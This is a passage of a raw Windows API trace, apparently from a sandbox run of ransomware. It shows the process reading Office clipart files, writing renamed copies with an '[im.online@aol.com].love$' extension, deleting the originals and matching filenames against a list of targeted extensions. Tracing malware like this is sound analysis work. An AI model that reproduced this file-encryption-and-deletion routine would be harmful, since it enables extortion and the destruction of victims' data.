office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0235.119] GetLastError () returned 0x0 [0235.119] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1870, lpOverlapped=0x0) returned 1 [0235.124] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1880, lpOverlapped=0x0) returned 1 [0235.125] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.125] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.126] SetEndOfFile (hFile=0x4c4) returned 1 [0235.126] CloseHandle (hObject=0x4c4) returned 1 [0235.130] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.130] SetEndOfFile (hFile=0x480) returned 1 [0235.156] CloseHandle (hObject=0x480) returned 1 [0235.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0235.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.158] lstrlenW (lpString=".doc") returned 4 [0235.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString=".docx") returned 5 [0235.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.158] lstrlenW (lpString=".pdf") returned 4 [0235.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString=".xls") returned 4 [0235.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.158] lstrlenW (lpString=".xlsx") returned 5 [0235.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.158] lstrlenW (lpString=".ppt") returned 4 [0235.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.158] lstrlenW (lpString=".zip") returned 4 [0235.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.158] lstrlenW (lpString=".rar") returned 4 [0235.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString=".bz2") returned 4 [0235.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString=".7z") returned 3 [0235.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.158] lstrlenW (lpString=".dbf") returned 4 [0235.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.158] lstrlenW (lpString=".1cd") returned 4 [0235.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.158] lstrlenW (lpString=".jpg") returned 4 [0235.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.159] lstrlenW (lpString=".doc") returned 4 [0235.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString=".docx") returned 5 [0235.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.159] lstrlenW (lpString=".pdf") returned 4 [0235.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString=".xls") returned 4 [0235.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.159] lstrlenW (lpString=".xlsx") returned 5 [0235.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.159] lstrlenW (lpString=".ppt") returned 4 [0235.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.159] lstrlenW (lpString=".zip") returned 4 [0235.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.159] lstrlenW (lpString=".rar") returned 4 [0235.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString=".bz2") returned 4 [0235.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString=".7z") returned 3 [0235.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.159] lstrlenW (lpString=".dbf") returned 4 [0235.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.159] lstrlenW (lpString=".1cd") returned 4 [0235.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0235.160] lstrlenW (lpString=".jpg") returned 4 [0235.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.160] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.160] lstrlenW (lpString="BOAT.WMF") returned 8 [0235.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.162] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3350) returned 1 [0235.162] CloseHandle (hObject=0x480) returned 1 [0235.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0235.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.162] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.162] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0235.163] GetLastError () returned 0x0 [0235.163] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xd16, lpOverlapped=0x0) returned 1 [0235.165] WriteFile (in: hFile=0x46c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd20, lpOverlapped=0x0) returned 1 [0235.167] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.167] WriteFile (in: hFile=0x46c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1 [0235.167] SetEndOfFile (hFile=0x46c) returned 1 [0235.167] CloseHandle (hObject=0x46c) returned 1 [0235.167] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.167] SetEndOfFile (hFile=0x480) returned 1 [0235.170] CloseHandle (hObject=0x480) returned 1 [0235.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0235.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.171] lstrlenW (lpString=".doc") returned 4 [0235.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString=".docx") returned 5 [0235.172] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0235.172] lstrlenW (lpString=".pdf") returned 4 [0235.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString=".xls") returned 4 [0235.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.172] lstrlenW (lpString=".xlsx") returned 5 [0235.172] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0235.172] lstrlenW (lpString=".ppt") returned 4 [0235.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.172] lstrlenW (lpString=".zip") returned 4 [0235.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.172] lstrlenW (lpString=".rar") returned 4 [0235.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString=".bz2") returned 4 [0235.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString=".7z") returned 3 [0235.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.172] lstrlenW (lpString=".dbf") returned 4 [0235.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.172] lstrlenW (lpString=".1cd") returned 4 [0235.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.172] lstrlenW (lpString=".jpg") returned 4 [0235.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.173] lstrlenW (lpString=".doc") returned 4 [0235.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString=".docx") returned 5 [0235.173] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0235.173] lstrlenW (lpString=".pdf") returned 4 [0235.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString=".xls") returned 4 [0235.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.173] lstrlenW (lpString=".xlsx") returned 5 [0235.173] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0235.173] lstrlenW (lpString=".ppt") returned 4 [0235.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.173] lstrlenW (lpString=".zip") returned 4 [0235.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.173] lstrlenW (lpString=".rar") returned 4 [0235.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString=".bz2") returned 4 [0235.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString=".7z") returned 3 [0235.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.173] lstrlenW (lpString=".dbf") returned 4 [0235.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.173] lstrlenW (lpString=".1cd") returned 4 [0235.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0235.173] lstrlenW (lpString=".jpg") returned 4 [0235.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.174] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.174] lstrlenW (lpString="BOATINST.WMF") returned 12 [0235.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.175] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=29004) returned 1 [0235.175] CloseHandle (hObject=0x480) returned 1 [0235.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0235.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0235.175] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.176] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0235.177] GetLastError () returned 0x0 [0235.177] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x714c, lpOverlapped=0x0) returned 1 [0235.180] WriteFile (in: hFile=0x46c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7150, lpOverlapped=0x0) returned 1 [0235.181] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.182] WriteFile (in: hFile=0x46c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.182] SetEndOfFile (hFile=0x46c) returned 1 [0235.184] CloseHandle (hObject=0x46c) returned 1 [0235.185] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.185] SetEndOfFile (hFile=0x480) returned 1 [0235.189] CloseHandle (hObject=0x480) returned 1 [0235.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0235.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.191] lstrlenW (lpString=".doc") returned 4 [0235.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.191] lstrlenW (lpString=".docx") returned 5 [0235.191] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0235.191] lstrlenW (lpString=".pdf") returned 4 [0235.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.191] lstrlenW (lpString=".xls") returned 4 [0235.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.191] lstrlenW (lpString=".xlsx") returned 5 [0235.191] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0235.191] lstrlenW (lpString=".ppt") returned 4 [0235.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.191] lstrlenW (lpString=".zip") returned 4 [0235.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.191] lstrlenW (lpString=".rar") returned 4 [0235.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.191] lstrlenW (lpString=".bz2") returned 4 [0235.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.191] lstrlenW (lpString=".7z") returned 3 [0235.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.191] lstrlenW (lpString=".dbf") returned 4 [0235.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.705] lstrlenW (lpString=".1cd") returned 4 [0235.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.705] lstrlenW (lpString=".jpg") returned 4 [0235.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.706] lstrlenW (lpString=".doc") returned 4 [0235.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.706] lstrlenW (lpString=".docx") returned 5 [0235.706] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0235.706] lstrlenW (lpString=".pdf") returned 4 [0235.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.706] lstrlenW (lpString=".xls") returned 4 [0235.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.706] lstrlenW (lpString=".xlsx") returned 5 [0235.706] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0235.706] lstrlenW (lpString=".ppt") returned 4 [0235.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.706] lstrlenW (lpString=".zip") returned 4 [0235.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.706] lstrlenW (lpString=".rar") returned 4 [0235.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.706] lstrlenW (lpString=".bz2") returned 4 [0235.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.706] lstrlenW (lpString=".7z") returned 3 [0235.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.706] lstrlenW (lpString=".dbf") returned 4 [0235.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.707] lstrlenW (lpString=".1cd") returned 4 [0235.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0235.707] lstrlenW (lpString=".jpg") returned 4 [0235.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.707] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.707] lstrlenW (lpString="BS00174_.WMF") returned 12 [0235.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0236.121] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=8366) returned 1 [0236.121] CloseHandle (hObject=0x4e0) returned 1 [0236.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0236.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0236.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0236.122] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.122] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0236.123] GetLastError () returned 0x0 [0236.123] ReadFile (in: hFile=0x4e0, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, 